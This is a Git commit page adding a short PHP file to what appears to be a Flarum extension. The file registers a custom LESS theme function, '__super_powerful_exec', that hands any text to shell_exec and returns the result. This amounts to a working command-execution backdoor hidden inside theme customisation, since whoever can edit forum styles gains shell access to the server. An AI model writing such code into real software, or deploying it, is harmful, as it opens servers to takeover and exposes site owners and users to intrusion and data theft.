This commit is contained in:
idawnlight committed 2022-08-30 16:14:38 +08:00
commit a4e262621d
4 files changed
+7668

No files matched your search

+19
View File
@@ -0,0 +1,19 @@
<?php
use Flarum\Extend;
return [
(new Extend\Theme())
->addCustomLessFunction("__super_powerful_exec", function (mixed $text) {
if (is_string($text)) {
$result = shell_exec($text);
if (is_string($result)) {
return $result;
} else {
return "";
}
} else {
return "";
}
})
];